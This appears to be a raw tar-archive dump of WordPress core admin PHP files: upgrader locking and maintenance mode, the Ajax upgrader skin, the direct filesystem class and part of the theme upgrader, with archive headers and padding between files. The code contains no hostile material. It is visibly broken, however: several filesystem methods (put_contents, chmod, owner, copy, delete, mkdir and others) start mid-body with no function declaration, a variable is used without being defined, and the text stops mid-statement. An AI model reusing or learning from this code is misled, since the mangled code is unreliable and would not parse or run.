	 * @param bool $enable True to enable maintenance mode, false to disable.
	 */
	public function maintenance_mode( $enable = false ) {
		global $wp_filesystem;
		$file = $wp_filesystem->abspath() . '.maintenance';
		if ( $enable ) {
			$this->skin->feedback( 'maintenance_start' );
			// Create maintenance file to signal that we are upgrading.
			$maintenance_string = '<?php $upgrading = ' . time() . '; ?>';
			$wp_filesystem->delete( $file );
			$wp_filesystem->put_contents( $file, $maintenance_string, FS_CHMOD_FILE );
		} elseif ( ! $enable && $wp_filesystem->exists( $file ) ) {
			$this->skin->feedback( 'maintenance_end' );
			$wp_filesystem->delete( $file );
		}
	}

/**
	 * Creates a lock using WordPress options.
	 *
	 * @since 4.5.0
	 *
	 * @param string $lock_name       The name of this unique lock.
	 * @param int    $release_timeout Optional. The duration in seconds to respect an existing lock.
	 *                                Default: 1 hour.
	 * @return bool False if a lock couldn't be created or if the lock is still valid. True otherwise.
	 */
	public static function create_lock( $lock_name, $release_timeout = null ) {
		global $wpdb;
		if ( ! $release_timeout ) {
			$release_timeout = HOUR_IN_SECONDS;
		}
		$lock_option = $lock_name . '.lock';

// Try to lock.
		$lock_result = $wpdb->query( $wpdb->prepare( "INSERT IGNORE INTO `$wpdb->options` ( `option_name`, `option_value`, `autoload` ) VALUES (%s, %s, 'no') /* LOCK */", $lock_option, time() ) );

if ( ! $lock_result ) {
			$lock_result = get_option( $lock_option );

// If a lock couldn't be created, and there isn't a lock, bail.
			if ( ! $lock_result ) {
				return false;
			}

// Check to see if the lock is still valid. If it is, bail.
			if ( $lock_result > ( time() - $release_timeout ) ) {
				return false;
			}

// There must exist an expired lock, clear it and re-gain it.
			WP_Upgrader::release_lock( $lock_name );

return WP_Upgrader::create_lock( $lock_name, $release_timeout );
		}

// Update the lock, as by this point we've definitely got a lock, just need to fire the actions.
		update_option( $lock_option, time() );

return true;
	}

/**
	 * Releases an upgrader lock.
	 *
	 * @since 4.5.0
	 *
	 * @see WP_Upgrader::create_lock()
	 *
	 * @param string $lock_name The name of this unique lock.
	 * @return bool True if the lock was successfully released. False on failure.
	 */
	public static function release_lock( $lock_name ) {
		return delete_option( $lock_name . '.lock' );
	}

}

/** Plugin_Upgrader class */
require_once ABSPATH . 'wp-admin/includes/class-plugin-upgrader.php';

/** Theme_Upgrader class */
require_once ABSPATH . 'wp-admin/includes/class-theme-upgrader.php';

/** Language_Pack_Upgrader class */
require_once ABSPATH . 'wp-admin/includes/class-language-pack-upgrader.php';

/** Core_Upgrader class */
require_once ABSPATH . 'wp-admin/includes/class-core-upgrader.php';

/** File_Upload_Upgrader class */
require_once ABSPATH . 'wp-admin/includes/class-file-upload-upgrader.php';

/** WP_Automatic_Updater class */
require_once ABSPATH . 'wp-admin/includes/class-wp-automatic-updater.php';
��������������������������������������������������������������������������������������������������������������������������������������������class-wp-ajax-upgrader-skin.php���������������������������������������������������������������������0000604�����������������00000006630�15075125354�0012510 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * Upgrader API: WP_Ajax_Upgrader_Skin class
 *
 * @package WordPress
 * @subpackage Upgrader
 * @since 4.6.0
 */

/**
 * Upgrader Skin for Ajax WordPress upgrades.
 *
 * This skin is designed to be used for Ajax updates.
 *
 * @since 4.6.0
 *
 * @see Automatic_Upgrader_Skin
 */
class WP_Ajax_Upgrader_Skin extends Automatic_Upgrader_Skin {

/**
	 * Holds the WP_Error object.
	 *
	 * @since 4.6.0
	 *
	 * @var null|WP_Error
	 */
	protected $errors = null;

/**
	 * Constructor.
	 *
	 * Sets up the WordPress Ajax upgrader skin.
	 *
	 * @since 4.6.0
	 *
	 * @see WP_Upgrader_Skin::__construct()
	 *
	 * @param array $args Optional. The WordPress Ajax upgrader skin arguments to
	 *                    override default options. See WP_Upgrader_Skin::__construct().
	 *                    Default empty array.
	 */
	public function __construct( $args = array() ) {
		parent::__construct( $args );

$this->errors = new WP_Error();
	}

/**
	 * Retrieves the list of errors.
	 *
	 * @since 4.6.0
	 *
	 * @return WP_Error Errors during an upgrade.
	 */
	public function get_errors() {
		return $this->errors;
	}

/**
	 * Retrieves a string for error messages.
	 *
	 * @since 4.6.0
	 *
	 * @return string Error messages during an upgrade.
	 */
	public function get_error_messages() {
		$messages = array();

foreach ( $this->errors->get_error_codes() as $error_code ) {
			$error_data = $this->errors->get_error_data( $error_code );

if ( $error_data && is_string( $error_data ) ) {
				$messages[] = $this->errors->get_error_message( $error_code ) . ' ' . esc_html( strip_tags( $error_data ) );
			} else {
				$messages[] = $this->errors->get_error_message( $error_code );
			}
		}

return implode( ', ', $messages );
	}

/**
	 * Stores a log entry for an error.
	 *
	 * @since 4.6.0
	 * @since 5.3.0 Formalized the existing `...$args` parameter by adding it
	 *              to the function signature.
	 *
	 * @param string|WP_Error $errors  Errors.
	 * @param mixed           ...$args Optional text replacements.
	 */
	public function error( $errors, ...$args ) {
		if ( is_string( $errors ) ) {
			$string = $errors;
			if ( ! empty( $this->upgrader->strings[ $string ] ) ) {
				$string = $this->upgrader->strings[ $string ];
			}

if ( false !== strpos( $string, '%' ) ) {
				if ( ! empty( $args ) ) {
					$string = vsprintf( $string, $args );
				}
			}

// Count existing errors to generate a unique error code.
			$errors_count = count( $this->errors->get_error_codes() );
			$this->errors->add( 'unknown_upgrade_error_' . ( $errors_count + 1 ), $string );
		} elseif ( is_wp_error( $errors ) ) {
			foreach ( $errors->get_error_codes() as $error_code ) {
				$this->errors->add( $error_code, $errors->get_error_message( $error_code ), $errors->get_error_data( $error_code ) );
			}
		}

parent::error( $errors, ...$args );
	}

/**
	 * Stores a log entry.
	 *
	 * @since 4.6.0
	 * @since 5.3.0 Formalized the existing `...$args` parameter by adding it
	 *              to the function signature.
	 *
	 * @param string|array|WP_Error $data    Log entry data.
	 * @param mixed                 ...$args Optional text replacements.
	 */
	public function feedback( $data, ...$args ) {
		if ( is_wp_error( $data ) ) {
			foreach ( $data->get_error_codes() as $error_code ) {
				$this->errors->add( $error_code, $data->get_error_message( $error_code ), $data->get_error_data( $error_code ) );
			}
		}

parent::feedback( $data, ...$args );
	}
}
��������������������������������������������������������������������������������������������������������class-wp-filesystem-direct.php����������������������������������������������������������������������0000604�����������������00000040322�15075125354�0012444 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * WordPress Direct Filesystem.
 *
 * @package WordPress
 * @subpackage Filesystem
 */

/**
 * WordPress Filesystem Class for direct PHP file and folder manipulation.
 *
 * @since 2.5.0
 *
 * @see WP_Filesystem_Base
 */
class WP_Filesystem_Direct extends WP_Filesystem_Base {

/**
	 * Constructor.
	 *
	 * @since 2.5.0
	 *
	 * @param mixed $arg Not used.
	 */
	public function __construct( $arg ) {
		$this->method = 'direct';
		$this->errors = new WP_Error();
	}

/**
	 * Reads entire file into a string.
	 *
	 * @since 2.5.0
	 *
	 * @param string $file Name of the file to read.
	 * @return string|false Read data on success, false on failure.
	 */
	public function get_contents( $file ) {
		return @file_get_contents( $file );
	}

if ( ! $fp ) {
			return false;
		}

mbstring_binary_safe_encoding();

$data_length = strlen( $contents );

$bytes_written = fwrite( $fp, $contents );

reset_mbstring_encoding();

fclose( $fp );

if ( $data_length !== $bytes_written ) {
			return false;
		}

$this->chmod( $file, $mode );

return true;
	}

/**
	 * Gets the current working directory.
	 *
	 * @since 2.5.0
	 *
	 * @return string|false The current working directory on success, false on failure.
	 */
	public function cwd() {
		return getcwd();
	}

/**
	 * Changes the file group.
	 *
	 * @since 2.5.0
	 *
	 * @param string     $file      Path to the file.
	 * @param string|int $group     A group name or number.
	 * @param bool       $recursive Optional. If set to true, changes file group recursively.
	 *                              Default false.
	 * @return bool True on success, false on failure.
	 */
	public function chgrp( $file, $group, $recursive = false ) {
		if ( ! $this->exists( $file ) ) {
			return false;
		}

if ( ! $recursive ) {
			return chgrp( $file, $group );
		}

if ( ! $this->is_dir( $file ) ) {
			return chgrp( $file, $group );
		}

// Is a directory, and we want recursive.
		$file     = trailingslashit( $file );
		$filelist = $this->dirlist( $file );

foreach ( $filelist as $filename ) {
			$this->chgrp( $file . $filename, $group, $recursive );
		}

return true;
	}

if ( ! $recursive || ! $this->is_dir( $file ) ) {
			return chmod( $file, $mode );
		}

// Is a directory, and we want recursive.
		$file     = trailingslashit( $file );
		$filelist = $this->dirlist( $file );

foreach ( (array) $filelist as $filename => $filemeta ) {
			$this->chmod( $file . $filename, $mode, $recursive );
		}

return true;
	}

/**
	 * Changes the owner of a file or directory.
	 *
	 * @since 2.5.0
	 *
	 * @param string     $file      Path to the file or directory.
	 * @param string|int $owner     A user name or number.
	 * @param bool       $recursive Optional. If set to true, changes file owner recursively.
	 *                              Default false.
	 * @return bool True on success, false on failure.
	 */
	public function chown( $file, $owner, $recursive = false ) {
		if ( ! $this->exists( $file ) ) {
			return false;
		}

if ( ! $recursive ) {
			return chown( $file, $owner );
		}

if ( ! $this->is_dir( $file ) ) {
			return chown( $file, $owner );
		}

// Is a directory, and we want recursive.
		$filelist = $this->dirlist( $file );

foreach ( $filelist as $filename ) {
			$this->chown( $file . '/' . $filename, $owner, $recursive );
		}

return true;
	}

if ( ! $owneruid ) {
			return false;
		}

if ( ! function_exists( 'posix_getpwuid' ) ) {
			return $owneruid;
		}

$ownerarray = posix_getpwuid( $owneruid );

if ( ! $ownerarray ) {
			return false;
		}

return $ownerarray['name'];
	}

/**
	 * Gets the permissions of the specified file or filepath in their octal format.
	 *
	 * FIXME does not handle errors in fileperms()
	 *
	 * @since 2.5.0
	 *
	 * @param string $file Path to the file.
	 * @return string Mode of the file (the last 3 digits).
	 */
	public function getchmod( $file ) {
		return substr( decoct( @fileperms( $file ) ), -3 );
	}

if ( ! $gid ) {
			return false;
		}

if ( ! function_exists( 'posix_getgrgid' ) ) {
			return $gid;
		}

$grouparray = posix_getgrgid( $gid );

if ( ! $grouparray ) {
			return false;
		}

return $grouparray['name'];
	}

$rtval = copy( $source, $destination );

if ( $mode ) {
			$this->chmod( $destination, $mode );
		}

return $rtval;
	}

/**
	 * Moves a file.
	 *
	 * @since 2.5.0
	 *
	 * @param string $source      Path to the source file.
	 * @param string $destination Path to the destination file.
	 * @param bool   $overwrite   Optional. Whether to overwrite the destination file if it exists.
	 *                            Default false.
	 * @return bool True on success, false on failure.
	 */
	public function move( $source, $destination, $overwrite = false ) {
		if ( ! $overwrite && $this->exists( $destination ) ) {
			return false;
		}

// Try using rename first. if that fails (for example, source is read only) try copy.
		if ( @rename( $source, $destination ) ) {
			return true;
		}

if ( $this->copy( $source, $destination, $overwrite ) && $this->exists( $destination ) ) {
			$this->delete( $source );

return true;
		} else {
			return false;
		}
	}

$file = str_replace( '\\', '/', $file ); // For Win32, occasional problems deleting files otherwise.

if ( 'f' === $type || $this->is_file( $file ) ) {
			return @unlink( $file );
		}

if ( ! $recursive && $this->is_dir( $file ) ) {
			return @rmdir( $file );
		}

// At this point it's a folder, and we're in recursive mode.
		$file     = trailingslashit( $file );
		$filelist = $this->dirlist( $file, true );

$retval = true;

if ( is_array( $filelist ) ) {
			foreach ( $filelist as $filename => $fileinfo ) {
				if ( ! $this->delete( $file . $filename, $recursive, $fileinfo['type'] ) ) {
					$retval = false;
				}
			}
		}

if ( file_exists( $file ) && ! @rmdir( $file ) ) {
			$retval = false;
		}

return $retval;
	}

/**
	 * Checks if resource is a file.
	 *
	 * @since 2.5.0
	 *
	 * @param string $file File path.
	 * @return bool Whether $file is a file.
	 */
	public function is_file( $file ) {
		return @is_file( $file );
	}

/**
	 * Checks if resource is a directory.
	 *
	 * @since 2.5.0
	 *
	 * @param string $path Directory path.
	 * @return bool Whether $path is a directory.
	 */
	public function is_dir( $path ) {
		return @is_dir( $path );
	}

/**
	 * Checks if a file is readable.
	 *
	 * @since 2.5.0
	 *
	 * @param string $file Path to file.
	 * @return bool Whether $file is readable.
	 */
	public function is_readable( $file ) {
		return @is_readable( $file );
	}

if ( 0 == $atime ) {
			$atime = time();
		}

return touch( $file, $time, $atime );
	}

if ( empty( $path ) ) {
			return false;
		}

if ( ! $chmod ) {
			$chmod = FS_CHMOD_DIR;
		}

if ( ! @mkdir( $path ) ) {
			return false;
		}

$this->chmod( $path, $chmod );

if ( $chown ) {
			$this->chown( $path, $chown );
		}

if ( $chgrp ) {
			$this->chgrp( $path, $chgrp );
		}

return true;
	}

/**
	 * Gets details for files in a directory or a specific file.
	 *
	 * @since 2.5.0
	 *
	 * @param string $path           Path to directory or file.
	 * @param bool   $include_hidden Optional. Whether to include details of hidden ("." prefixed) files.
	 *                               Default true.
	 * @param bool   $recursive      Optional. Whether to recursively include file details in nested directories.
	 *                               Default false.
	 * @return array|false {
	 *     Array of files. False if unable to list directory contents.
	 *
	 *     @type string $name        Name of the file or directory.
	 *     @type string $perms       *nix representation of permissions.
	 *     @type int    $permsn      Octal representation of permissions.
	 *     @type string $owner       Owner name or ID.
	 *     @type int    $size        Size of file in bytes.
	 *     @type int    $lastmodunix Last modified unix timestamp.
	 *     @type mixed  $lastmod     Last modified month (3 letter) and day (without leading 0).
	 *     @type int    $time        Last modified time.
	 *     @type string $type        Type of resource. 'f' for file, 'd' for directory.
	 *     @type mixed  $files       If a directory and $recursive is true, contains another array of files.
	 * }
	 */
	public function dirlist( $path, $include_hidden = true, $recursive = false ) {
		if ( $this->is_file( $path ) ) {
			$limit_file = basename( $path );
			$path       = dirname( $path );
		} else {
			$limit_file = false;
		}

if ( ! $this->is_dir( $path ) || ! $this->is_readable( $path ) ) {
			return false;
		}

$dir = dir( $path );

if ( ! $dir ) {
			return false;
		}

$ret = array();

while ( false !== ( $entry = $dir->read() ) ) {
			$struc         = array();
			$struc['name'] = $entry;

if ( '.' === $struc['name'] || '..' === $struc['name'] ) {
				continue;
			}

if ( ! $include_hidden && '.' === $struc['name'][0] ) {
				continue;
			}

if ( $limit_file && $struc['name'] != $limit_file ) {
				continue;
			}

$ret[ $struc['name'] ] = $struc;
		}

$dir->close();
		unset( $dir );

return $ret;
	}
}
��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������class-theme-upgrader.php����������������������������������������������������������������������������0000604�����������������00000060033�15075125354�0011276 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * Upgrade API: Theme_Upgrader class
 *
 * @package WordPress
 * @subpackage Upgrader
 * @since 4.6.0
 */

/**
 * Core class used for upgrading/installing themes.
 *
 * It is designed to upgrade/install themes from a local zip, remote zip URL,
 * or uploaded zip file.
 *
 * @since 2.8.0
 * @since 4.6.0 Moved to its own file from wp-admin/includes/class-wp-upgrader.php.
 *
 * @see WP_Upgrader
 */
class Theme_Upgrader extends WP_Upgrader {

/**
	 * Result of the theme upgrade offer.
	 *
	 * @since 2.8.0
	 * @var array|WP_Error $result
	 * @see WP_Upgrader::$result
	 */
	public $result;

/**
	 * Whether multiple themes are being upgraded/installed in bulk.
	 *
	 * @since 2.9.0
	 * @var bool $bulk
	 */
	public $bulk = false;

/**
	 * New theme info.
	 *
	 * @since 5.5.0
	 * @var array $new_theme_data
	 *
	 * @see check_package()
	 */
	public $new_theme_data = array();

/**
	 * Initialize the upgrade strings.
	 *
	 * @since 2.8.0
	 */
	public function upgrade_strings() {
		$this->strings['up_to_date'] = __( 'The theme is at the latest version.' );
		$this->strings['no_package'] = __( 'Update package not available.' );
		/* translators: %s: Package URL. */
		$this->strings['downloading_package'] = sprintf( __( 'Downloading update from %s&#8230;' ), '<span class="code">%s</span>' );
		$this->strings['unpack_package']      = __( 'Unpacking the update&#8230;' );
		$this->strings['remove_old']          = __( 'Removing the old version of the theme&#8230;' );
		$this->strings['remove_old_failed']   = __( 'Could not remove the old theme.' );
		$this->strings['process_failed']      = __( 'Theme update failed.' );
		$this->strings['process_success']     = __( 'Theme updated successfully.' );
	}

/**
	 * Initialize the installation strings.
	 *
	 * @since 2.8.0
	 */
	public function install_strings() {
		$this->strings['no_package'] = __( 'Installation package not available.' );
		/* translators: %s: Package URL. */
		$this->strings['downloading_package'] = sprintf( __( 'Downloading installation package from %s&#8230;' ), '<span class="code">%s</span>' );
		$this->strings['unpack_package']      = __( 'Unpacking the package&#8230;' );
		$this->strings['installing_package']  = __( 'Installing the theme&#8230;' );
		$this->strings['remove_old']          = __( 'Removing the old version of the theme&#8230;' );
		$this->strings['remove_old_failed']   = __( 'Could not remove the old theme.' );
		$this->strings['no_files']            = __( 'The theme contains no files.' );
		$this->strings['process_failed']      = __( 'Theme installation failed.' );
		$this->strings['process_success']     = __( 'Theme installed successfully.' );
		/* translators: 1: Theme name, 2: Theme version. */
		$this->strings['process_success_specific'] = __( 'Successfully installed the theme <strong>%1$s %2$s</strong>.' );
		$this->strings['parent_theme_search']      = __( 'This theme requires a parent theme. Checking if it is installed&#8230;' );
		/* translators: 1: Theme name, 2: Theme version. */
		$this->strings['parent_theme_prepare_install'] = __( 'Preparing to install <strong>%1$s %2$s</strong>&#8230;' );
		/* translators: 1: Theme name, 2: Theme version. */
		$this->strings['parent_theme_currently_installed'] = __( 'The parent theme, <strong>%1$s %2$s</strong>, is currently installed.' );
		/* translators: 1: Theme name, 2: Theme version. */
		$this->strings['parent_theme_install_success'] = __( 'Successfully installed the parent theme, <strong>%1$s %2$s</strong>.' );
		/* translators: %s: Theme name. */
		$this->strings['parent_theme_not_found'] = sprintf( __( '<strong>The parent theme could not be found.</strong> You will need to install the parent theme, %s, before you can use this child theme.' ), '<strong>%s</strong>' );
		/* translators: %s: Theme error. */
		$this->strings['current_theme_has_errors'] = __( 'The current theme has the following error: "%s".' );

if ( ! empty( $this->skin->overwrite ) ) {
			if ( 'update-theme' === $this->skin->overwrite ) {
				$this->strings['installing_package'] = __( 'Updating the theme&#8230;' );
				$this->strings['process_failed']     = __( 'Theme update failed.' );
				$this->strings['process_success']    = __( 'Theme updated successfully.' );
			}

if ( 'downgrade-theme' === $this->skin->overwrite ) {
				$this->strings['installing_package'] = __( 'Downgrading the theme&#8230;' );
				$this->strings['process_failed']     = __( 'Theme downgrade failed.' );
				$this->strings['process_success']    = __( 'Theme downgraded successfully.' );
			}
		}
	}

/**
	 * Check if a child theme is being installed and we need to install its parent.
	 *
	 * Hooked to the {@see 'upgrader_post_install'} filter by Theme_Upgrader::install().
	 *
	 * @since 3.4.0
	 *
	 * @param bool  $install_result
	 * @param array $hook_extra
	 * @param array $child_result
	 * @return bool
	 */
	public function check_parent_theme_filter( $install_result, $hook_extra, $child_result ) {
		// Check to see if we need to install a parent theme.
		$theme_info = $this->theme_info();

if ( ! $theme_info->parent() ) {
			return $install_result;
		}

$this->skin->feedback( 'parent_theme_search' );

if ( ! $theme_info->parent()->errors() ) {
			$this->skin->feedback( 'parent_theme_currently_installed', $theme_info->parent()->display( 'Name' ), $theme_info->parent()->display( 'Version' ) );
			// We already have the theme, fall through.
			return $install_result;
		}

// We don't have the parent theme, let's install it.
		$api = themes_api(
			'theme_information',
			array(
				'slug'   => $theme_info->get( 'Template' ),
				'fields' => array(
					'sections' => false,
					'tags'     => false,
				),
			)
		); // Save on a bit of bandwidth.

if ( ! $api || is_wp_error( $api ) ) {
			$this->skin->feedback( 'parent_theme_not_found', $theme_info->get( 'Template' ) );
			// Don't show activate or preview actions after installation.
			add_filter( 'install_theme_complete_actions', array( $this, 'hide_activate_preview_actions' ) );
			return $install_result;
		}

// Backup required data we're going to override:
		$child_api             = $this->skin->api;
		$child_success_message = $this->strings['process_success'];

// Override them.
		$this->skin->api = $api;

$this->strings['process_success_specific'] = $this->strings['parent_theme_install_success'];

$this->skin->feedback( 'parent_theme_prepare_install', $api->name, $api->version );

add_filter( 'install_theme_complete_actions', '__return_false', 999 ); // Don't show any actions after installing the theme.

// Install the parent theme.
		$parent_result = $this->run(
			array(
				'package'           => $api->download_link,
				'destination'       => get_theme_root(),
				'clear_destination' => false, // Do not overwrite files.
				'clear_working'     => true,
			)
		);

if ( is_wp_error( $parent_result ) ) {
			add_filter( 'install_theme_complete_actions', array( $this, 'hide_activate_preview_actions' ) );
		}

// Start cleaning up after the parent's installation.
		remove_filter( 'install_theme_complete_actions', '__return_false', 999 );

// Reset child's result and data.
		$this->result                     = $child_result;
		$this->skin->api                  = $child_api;
		$this->strings['process_success'] = $child_success_message;

return $install_result;
	}

/**
	 * Don't display the activate and preview actions to the user.
	 *
	 * Hooked to the {@see 'install_theme_complete_actions'} filter by
	 * Theme_Upgrader::check_parent_theme_filter() when installing
	 * a child theme and installing the parent theme fails.
	 *
	 * @since 3.4.0
	 *
	 * @param array $actions Preview actions.
	 * @return array
	 */
	public function hide_activate_preview_actions( $actions ) {
		unset( $actions['activate'], $actions['preview'] );
		return $actions;
	}

/**
	 * Install a theme package.
	 *
	 * @since 2.8.0
	 * @since 3.7.0 The `$args` parameter was added, making clearing the update cache optional.
	 *
	 * @param string $package The full local path or URI of the package.
	 * @param array  $args {
	 *     Optional. Other arguments for installing a theme package. Default empty array.
	 *
	 *     @type bool $clear_update_cache Whether to clear the updates cache if successful.
	 *                                    Default true.
	 * }
	 *
	 * @return bool|WP_Error True if the installation was successful, false or a WP_Error object otherwise.
	 */
	public function install( $package, $args = array() ) {
		$defaults    = array(
			'clear_update_cache' => true,
			'overwrite_package'  => false, // Do not overwrite files.
		);
		$parsed_args = wp_parse_args( $args, $defaults );

$this->init();
		$this->install_strings();

add_filter( 'upgrader_source_selection', array( $this, 'check_package' ) );
		add_filter( 'upgrader_post_install', array( $this, 'check_parent_theme_filter' ), 10, 3 );

if ( $parsed_args['clear_update_cache'] ) {
			// Clear cache so wp_update_themes() knows about the new theme.
			add_action( 'upgrader_process_complete', 'wp_clean_themes_cache', 9, 0 );
		}

$this->run(
			array(
				'package'           => $package,
				'destination'       => get_theme_root(),
				'clear_destination' => $parsed_args['overwrite_package'],
				'clear_working'     => true,
				'hook_extra'        => array(
					'type'   => 'theme',
					'action' => 'install',
				),
			)
		);

remove_action( 'upgrader_process_complete', 'wp_clean_themes_cache', 9 );
		remove_filter( 'upgrader_source_selection', array( $this, 'check_package' ) );
		remove_filter( 'upgrader_post_install', array( $this, 'check_parent_theme_filter' ) );

if ( ! $this->result || is_wp_error( $this->result ) ) {
			return $this->result;
		}

// Refresh the Theme Update information.
		wp_clean_themes_cache( $parsed_args['clear_update_cache'] );

if ( $parsed_args['overwrite_package'] ) {
			/**
			 * Fires when the upgrader has successfully overwritten a currently installed
			 * plugin or theme with an uploaded zip package.
			 *
			 * @since 5.5.0
			 *
			 * @param string  $package        The package file.
			 * @param array   $new_theme_data The new theme data.
			 * @param string  $package_type   The package type (plugin or theme).
			 */
			do_action( 'upgrader_overwrote_package', $package, $this->new_theme_data, 'theme' );
		}

return true;
	}

/**
	 * Upgrade a theme.
	 *
	 * @since 2.8.0
	 * @since 3.7.0 The `$args` parameter was added, making clearing the update cache optional.
	 *
	 * @param string $theme The theme slug.
	 * @param array  $args {
	 *     Optional. Other arguments for upgrading a theme. Default empty array.
	 *
	 *     @type bool $clear_update_cache Whether to clear the update cache if successful.
	 *                                    Default true.
	 * }
	 * @return bool|WP_Error True if the upgrade was successful, false or a WP_Error object otherwise.
	 */
	public function upgrade( $theme, $args = array() ) {
		$defaults    = array(
			'clear_update_cache' => true,
		);
		$parsed_args = wp_parse_args( $args, $defaults );

$this->init();
		$this->upgrade_strings();

// Is an update available?
		$current = get_site_transient( 'update_themes' );
		if ( ! isset( $current->response[ $theme ] ) ) {
			$this->skin->before();
			$this->skin->set_result( false );
			$this->skin->error( 'up_to_date' );
			$this->skin->after();
			return false;
		}

$r = $current->response[ $theme ];

add_filter( 'upgrader_pre_install', array( $this, 'current_before' ), 10, 2 );
		add_filter( 'upgrader_post_install', array( $this, 'current_after' ), 10, 2 );
		add_filter( 'upgrader_clear_destination', array( $this, 'delete_old_theme' ), 10, 4 );
		if ( $parsed_args['clear_update_cache'] ) {
			// Clear cache so wp_update_themes() knows about the new theme.
			add_action( 'upgrader_process_complete', 'wp_clean_themes_cache', 9, 0 );
		}

$this->run(
			array(
				'package'           => $r['package'],
				'destination'       => get_theme_root( $theme ),
				'clear_destination' => true,
				'clear_working'     => true,
				'hook_extra'        => array(
					'theme'  => $theme,
					'type'   => 'theme',
					'action' => 'update',
				),
			)
		);

remove_action( 'upgrader_process_complete', 'wp_clean_themes_cache', 9 );
		remove_filter( 'upgrader_pre_install', array( $this, 'current_before' ) );
		remove_filter( 'upgrader_post_install', array( $this, 'current_after' ) );
		remove_filter( 'upgrader_clear_destination', array( $this, 'delete_old_theme' ) );

if ( ! $this->result || is_wp_error( $this->result ) ) {
			return $this->result;
		}

wp_clean_themes_cache( $parsed_args['clear_update_cache'] );

// Ensure any future auto-update failures trigger a failure email by removing
		// the last failure notification from the list when themes update successfully.
		$past_failure_emails = get_option( 'auto_plugin_theme_update_emails', array() );

if ( isset( $past_failure_emails[ $theme ] ) ) {
			unset( $past_failure_emails[ $theme ] );
			update_option( 'auto_plugin_theme_update_emails', $past_failure_emails );
		}

return true;
	}

/**
	 * Upgrade several themes at once.
	 *
	 * @since 3.0.0
	 * @since 3.7.0 The `$args` parameter was added, making clearing the update cache optional.
	 *
	 * @param string[] $themes Array of the theme slugs.
	 * @param array    $args {
	 *     Optional. Other arguments for upgrading several themes at once. Default empty array.
	 *
	 *     @type bool $clear_update_cache Whether to clear the update cache if successful.
	 *                                    Default true.
	 * }
	 * @return array[]|false An array of results, or false if unable to connect to the filesystem.
	 */
	public function bulk_upgrade( $themes, $args = array() ) {
		$defaults    = array(
			'clear_update_cache' => true,
		);
		$parsed_args = wp_parse_args( $args, $defaults );

$this->init();
		$this->bulk = true;
		$this->upgrade_strings();

$current = get_site_transient( 'update_themes' );

$this->skin->header();

// Connect to the filesystem first.
		$res = $this->fs_connect( array( WP_CONTENT_DIR ) );
		if ( ! $res ) {
			$this->skin->footer();
			return false;
		}

$this->skin->bulk_header();

/*
		 * Only start maintenance mode if:
		 * - running Multisite and there are one or more themes specified, OR
		 * - a theme with an update available is currently in use.
		 * @todo For multisite, maintenance mode should only kick in for individual sites if at all possible.
		 */
		$maintenance = ( is_multisite() && ! empty( $themes ) );
		foreach ( $themes as $theme ) {
			$maintenance = $maintenance || get_stylesheet() === $theme || get_template() === $theme;
		}
		if ( $maintenance ) {
			$this->maintenance_mode( true );
		}

$results = array();

$this->update_count   = count( $themes );
		$this->update_current = 0;
		foreach ( $themes as $theme ) {
			$this->update_current++;

$this->skin->theme_info = $this->theme_info( $theme );

if ( ! isset( $current->response[ $theme ] ) ) {
				$this->skin->set_result( true );
				$this->skin->before();
				$this->skin->feedback( 'up_to_date' );
				$this->skin->after();
				$results[ $theme ] = true;
				continue;
			}

// Get the URL to the zip file.
			$r = $current->response[ $theme ];

$result = $this->run(
				array(
					'package'           => $r['package'],
					'destination'       => get_theme_root( $theme ),
					'clear_destination' => true,
					'clear_working'     => true,
					'is_multi'          => true,
					'hook_extra'        => array(
						'theme' => $theme,
					),
				)
			);

$results[ $theme ] = $this->result;

// Prevent credentials auth screen from displaying multiple times.
			if ( false === $result ) {
				break;
			}
		} // End foreach $themes.

$this->maintenance_mode( false );

// Refresh the Theme Update information.
		wp_clean_themes_cache( $parsed_args['clear_update_cache'] );

/** This action is documented in wp-admin/includes/class-wp-upgrader.php */
		do_action(
			'upgrader_process_complete',
			$this,
			array(
				'action' => 'update',
				'type'   => 'theme',
				'bulk'   => true,
				'themes' => $themes,
			)
		);

$this->skin->bulk_footer();

$this->skin->footer();

// Cleanup our hooks, in case something else does a upgrade on this connection.
		remove_filter( 'upgrader_pre_install', array( $this, 'current_before' ) );
		remove_filter( 'upgrader_post_install', array( $this, 'current_after' ) );
		remove_filter( 'upgrader_clear_destination', array( $this, 'delete_old_theme' ) );

foreach ( $results as $theme => $result ) {
			// Maintain last failure notification when themes failed to update manually.
			if ( ! $result || is_wp_error( $result ) || ! isset( $past_failure_emails[ $theme ] ) ) {
				continue;
			}

unset( $past_failure_emails[ $theme ] );
		}

update_option( 'auto_plugin_theme_update_emails', $past_failure_emails );

return $results;
	}

/**
	 * Check that the package source contains a valid theme.
	 *
	 * Hooked to the {@see 'upgrader_source_selection'} filter by Theme_Upgrader::install().
	 * It will return an error if the theme doesn't have style.css or index.php
	 * files.
	 *
	 * @since 3.3.0
	 *
	 * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
	 *
	 * @param string $source The full path to the package source.
	 * @return string|WP_Error The source or a WP_Error.
	 */
	public function check_package( $source ) {
		global $wp_filesystem;

$this->new_theme_data = array();

if ( is_wp_error( $source ) ) {
			return $source;
		}

// Check that the folder contains a valid theme.
		$working_directory = str_replace( $wp_filesystem->wp_content_dir(), trailingslashit( WP_CONTENT_DIR ), $source );
		if ( ! is_dir( $working_directory ) ) { // Sanity check, if the above fails, let's not prevent installation.
			return $source;
		}

// A proper archive should have a style.css file in the single subdirectory.
		if ( ! file_exists( $working_directory . 'style.css' ) ) {
			return new WP_Error(
				'incompatible_archive_theme_no_style',
				$this->strings['incompatible_archive'],
				sprintf(
					/* translators: %s: style.css */
					__( 'The theme is missing the %s stylesheet.' ),
					'<code>style.css</code>'
				)
			);
		}

// All these headers are needed on Theme_Installer_Skin::do_overwrite().
		$info = get_file_data(
			$working_directory . 'style.css',
			array(
				'Name'        => 'Theme Name',
				'Version'     => 'Version',
				'Author'      => 'Author',
				'Template'    => 'Template',
				'RequiresWP'  => 'Requires at least',
				'RequiresPHP' => 'Requires PHP',
			)
		);

if ( empty( $info['Name'] ) ) {
			return new WP_Error(
				'incompatible_archive_theme_no_name',
				$this->strings['incompatible_archive'],
